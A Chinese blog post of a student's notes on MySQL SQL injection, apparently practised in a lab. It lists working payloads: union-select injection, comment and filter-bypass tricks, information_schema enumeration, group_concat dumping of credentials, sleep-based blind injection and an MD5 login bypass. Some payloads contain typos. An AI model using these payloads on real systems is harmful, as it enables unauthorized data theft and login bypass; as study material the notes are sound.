sql注入--基本注入语句学习笔记

版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/zpy1998zpy/article/details/80517626

接触到sql注入知识,做了一些常识,这里做一个完整的记录。

一,联合查询

联合查询是拼接在原查询语句下,要求结果数量与原结果数量相同。

select * from security.users where id=1 union select 1,2,3;


1,2,3并无特殊含义,换成其他数字或字符串也可以,这里只是站位表示一下。

二,注释语句

sql注入时要注释掉后面的部分才能使整个语句正确运行,这里介绍几种方法。

1,#注释符

select * from security.users where id=1 union select 1,2,database()# limit 0,30;


此时后面的limit 0,30并没有生效。

2,--空格注释符 

select * from security.users where id=1 union select 1,2,database() -- ' limit 0,30;


注意在--后面有个空格,否则会报错,不过书写时可能疏忽,因此空格后一般写一个随机字符串。



3, ;/* 注释符

select * from security.users where id=1 union select 1,2,database() ;/* ' limit 0,1;


这个注释一定要注意 /前面有个;否则会报错


三,where条件语句使用

select * from security.users where id=1 && 1=2 union select 1,2,database() -- hack; limit 0,30;


where语句起到过滤作用,筛选出符合结果的查询内容。where后的条件同样符合true和false的运算。

可以利用加上 and 1=2 (或者其他为false的语句)使原条件失效,也可以利用 or 1=1使原条件一定成立。

and和or可以替换成 && 和 ||


当然在查询的id处输入一个不可能存在的值也可以使结果为空,比如前面输入的-1.

四,空格替换

select * from security.users where id=1.union/**/select+1,2,database() limit 0,30;


这里主要是为了绕过对空格的过滤

可以使用/**/代替空格,这个一定可以使用(如果没有被过滤)。+和 .     在某些情况下也可以代替空格,

但我还没有搞清楚。


这里分别用/**/ +  .  代替了空格。

五,CHAR函数

select * from security.users where username='Dumb' union select 1,2,char(65)#; limit 0,30;

char()可以将ascii码转换为字符,也是为了绕过过滤。


六,CONCAT函数

select * from security.users where id=1 union select 1,2,concat(char(65),char(66),char(67))# limit 0,30;

这字符拼接函数,可以结合char函数使用


七,SUBSTR函数

select * from security.users where id=1 union select 1,2,substr('abcd',3,2)#; limit 0,30;

这是从字符串提取字符用的


表示从第三位 提取两位

八,IF函数

select * from security.users where id=1 union select 1,2,if(database()='security','true','false') limit 0,30;

mysql中的if函数格式为 if(条件,成立语句,失败语句)



九,获取数据库版本

select * from security.users where id=1 union select 1,1,@@vsersion #; limit 0,30;

使用@@version,可以当做一个常亮来查询使用


十,GROUP_CONCAT函数

select * from security.users where id=1 union select 1,group_concat(username),group_cincat(password) from users #; limit 0,30;

这个函数可以将多条结果合并在一条输出,非常常用


这里就在一个位置显示了所用的username


十一,获取当前数据库名

使用database()函数,可以显示数据库名。


database()的返回值显示在联合查询的第三个位置,也就是前面3的位置。

十二,获取该数据库的所有表名和列名

select * from security.users where id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,30;

使用information_schema_tables表,这是mysql的一个系统表,这里记录了所有表的信息,可以从这里查询到某个数据库的所有表。


table_schema是该表中的一个字段名,记录着每张表属于哪个数据库。

同理获取列名

Select column_name from information_schema.columns where

Table_shcema=database() and table_name=’指定的表名’;


十三,/*! xxx  */  可执行的注释

select * from security.users where id=1 union /*!select*/ 1,2,database();

mysql中的特色,注意有个 ! 。


/*! */ 中的内容会被执行。

十四,十六进制转换

mysql中会自动将16进制转换为字符串,并且自动为字符串加上引号,

使用时注意加上0x开头,表示为16进制数字。

database()的16进制表示  64617461626173652829


注意此时database()函数并未执行,而是当做字符串返回了。


十五,count(*)函数

count(*)函数用来统计查询结果数量 


十六,sleep()函数

可以实现一定时间的延迟,用来盲注。


十七,mysql对字符和数字比较的处理

注入时会遇到字符型和数字型,这里有必要了解一下mysql的处理机制。

1,对于字符型向数字的转化匹配,自动截取前面的数字部分,即 ‘1abc’当做 1


2,开头字符型和数字比较时,字符串当做零处理


这里的 and 条件依然生效,证明 ‘abc’=0成立

十八,绕过md5比较的登录

一般站点不会直接保存用户的明文密码,而是将明文密码MD5加密后保存,在登录验证时,也是将输入的密码进行MD5加密,与数据库中保存的MD5值进行比较,如果一直就认证成功。

登录过程类似于:首先将用户提交的密码进行MD5加密,然后将用户名与加密后的密码 放入数据库查询

 select  username_id from users where username='admin' and password=pass(已经MD5加密) limit 0,1;

这时候存在绕过漏洞:输入 用户名:xxx

密码:123' and 1=2 union select "admin" , "21232f297a57a5a743894a0e4a801fc3"  #

md5(admin)="21232f297a57a5a743894a0e4a801fc3"


这组数据可以绕过后续的密码检验。

实验时遇到的一些小问题:

用的是phpmyadmin操作

1,在查询表名时的报错

原因:在phpmyadmin中我是在security数据库中操作的,所以原查询语句默认的是security数据库中的user表

,但是在联合查询的语句中,明确的指定了使用information_schema数据库,所以前面的user表也会被认为是information_schema数据库中的,所以报错。

可以明确指定数据库,将user改为 securuty.user   sql中用 . 连接数据库和表名。

2,数据库名格式


这里报错的原因是 数据库名没有加引号  应该写成:table_schema='security'



本人小白学生,如有错误,欢迎评论指出。


展开阅读全文

没有更多推荐了,返回首页